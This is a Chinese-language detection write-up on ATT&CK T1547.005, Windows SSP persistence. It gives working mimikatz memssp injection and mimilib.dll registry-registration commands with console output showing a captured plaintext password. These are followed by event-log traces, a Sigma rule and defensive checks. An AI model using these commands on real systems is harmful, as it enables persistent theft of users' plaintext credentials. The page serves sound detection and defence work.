跳转至

T1547-005-win-SSP权限维持

来自ATT&CK的描述

Windows SSP(Windows安全支持提供程序)动态链接库在系统启动时加载到LSA(本地安全机构)进程中。一旦加载到LSA中,SSP动态链接库可以访问存储在Windows中的加密和明文密码,例如任何登录用户的域密码或智能卡PIN码。SSP配置存储在两个注册表项中:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages和HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\SecurityPackages。攻击者可能会修改这些注册表项来添加新的SSP。这些SSP将在下次系统启动时加载,或者在调用AddSecurityPackage Windows API函数时加载。

测试案例

SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。

SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。

如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。

检测日志

windows安全日志

测试复现

方法一

使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

mimikatz.exe "privilege::debug" "misc::memssp" exit
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug
" "misc::memssp" exit

  .#####.   mimikatz 2.1.1 (x64) built on Apr  9 2017 23:24:20
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 21 modules * * */

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # misc::memssp
Injected =)

mimikatz(commandline) # exit
Bye!

注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。

type C:\Windows\system32\mimilsa.log
C:\Users\Administrator>type C:\Windows\system32\mimilsa.log
[00000000:00063a51] DC\Administrator    admin.098

方法二

将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。

copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
C:\Users\Administrator\Desktop\mimikatz_trunk\x64>copy mimilib.dll %systemroot%\
system32
已复制         1 个文件。

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u

注意:最后一步修改注册表需要在powershell命令行下操作,cmd下可能会报错。

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
错误: 无效语法。
键入 "REG ADD /?" 了解用法信息。
PS C:\Users\Administrator> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv
1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
 Security Packages 已存在要覆盖吗(Yes/No)? y
操作成功完成

查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。

C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc
ontrolset\control\lsa\ /v "Security Packages"

HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
    Security Packages    REG_MULTI_SZ    kerberos\0msv1_0\0schannel\0wdigest\0ts
pkg\0pku2u\0mimilib

系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。

type C:\Windows\system32\kiwissp.log
C:\Users\Administrator>type C:\Windows\system32\kiwissp.log
[00000000:000003e7] [00000002] WORKGROUP\DC$ (DC$)
[00000000:00049cd0] [00000002] DC\Administrator (Administrator) admin.098
[00000000:000003e5] [00000005] \ (LOCAL SERVICE)

测试留痕

建议在windows server 2008(含2008)以下版本安装部署sysmon,记录进程名称、进程命令行参数,方便溯源分析;

建议在windows server 2008以上版本操作系统中开启审核进程创建策略,记录进程名称、进程命令行参数,方便溯源分析。

#针对方法二留痕

EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN
句柄 ID: 0x508

进程信息:
进程 ID: 0x748
进程名: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
      查询项值
      枚举子项
      对项的改动进行通知

EVentID: 4658 #已关闭到对象的句柄。
对象:
对象服务器: Security
句柄 ID: 0x508

进程信息:
进程 ID: 0xbd8
进程名: C:\Windows\System32\Oobe.exe

EVentID: 4688 #已创建新进程。在高版本系统中可记录命令行参数
进程信息:
新进程 ID: 0x5c8
新进程名: C:\Windows\System32\reg.exe
令牌提升类型: TokenElevationTypeDefault (1)

EVentID: 4656 #已请求到对象的句柄。
对象:
对象服务器: Security
对象类型: Key
对象名: \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\Plugin\Microsoft.ServerManager
句柄 ID: 0x694

进程信息:
进程 ID: 0x864
进程名: C:\Windows\System32\Oobe.exe

访问请求信息:
事务 ID: {00000000-0000-0000-0000-000000000000}
访问: READ_CONTROL
      查询项值
      枚举子项
      对项的改动进行通知

检测规则/思路

Sigma规则

title: 添加到LSA配置的安全支持提供程序(SSP)
status: 测试阶段
description: 检测向注册表添加SSP。在重新启动或API调用后,SSP DLL可以访问存储在Windows中的加密密码和明文密码。
references:
    - https://attack.mitre.org/techniques/T1547/005/
    - https://powersploit.readthedocs.io/en/latest/Persistence/Install-SSP/
tags:
    - attack.persistence
    - attack.t1547
logsource:
    product: windows
    service: sysmon
detection:
    selection_registry:
        EventID: 13 #创建注册表值 sysmon日志
        TargetObject:
            - 'HKLM\System\CurrentControlSet\Control\Lsa\Security Packages'
            - 'HKLM\System\CurrentControlSet\Control\Lsa\OSConfig\Security Packages'
    exclusion_images:
        - Image: C:\Windows\system32\msiexec.exe
        - Image: C:\Windows\syswow64\MsiExec.exe
    condition: selection_registry and not exclusion_images
falsepositives:
    - 不太可能
level: 关键

建议

监控注册表来查看SSP注册表项是否有更改。监控LSA进程来查看是否有动态链接库加载的情况。Windows 8.1和Windows Server 2012 R2中,在注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File ExecutionOptions\LSASS.exe中设置AuditLevelß=8来加载未签名的SSP动态链接库到LSA时会生成事件。

安全防御措施

1.检查注册表

hklm\system\currentcontrolset\control\lsa\Security Packages位置是否存在可疑dll。

2.检测%windir%\System32是否有可疑dll

3.使用第三方工具 Autoruns 检测LSA中是否存在可疑dll。

Autoruns下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns

参考推荐

MITRE-ATT&CK-T1547-005

https://attack.mitre.org/techniques/T1547/005/

AD域SSP权限维持与安全防护

https://xz.aliyun.com/t/7432